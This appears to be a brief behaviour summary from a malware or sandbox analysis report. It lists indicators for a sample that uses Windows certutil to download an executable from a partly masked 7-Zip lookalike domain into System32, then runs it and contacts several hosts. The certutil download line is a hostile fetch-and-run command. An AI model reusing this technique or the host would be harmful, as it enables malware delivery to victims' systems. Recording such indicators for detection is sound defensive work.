Technical Information
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://7-##p.org/a/7z1604-x64.exe 7zip.exe
- <SYSTEM32>\7zip.exe
- '7-##p.org':80
- '7-##p.org':443
- 'r3.#.lencr.org':80
- 'microsoft.com':80
- '7-##p.org':443
- DNS ASK 7-##p.org
- DNS ASK r3.#.lencr.org
- DNS ASK microsoft.com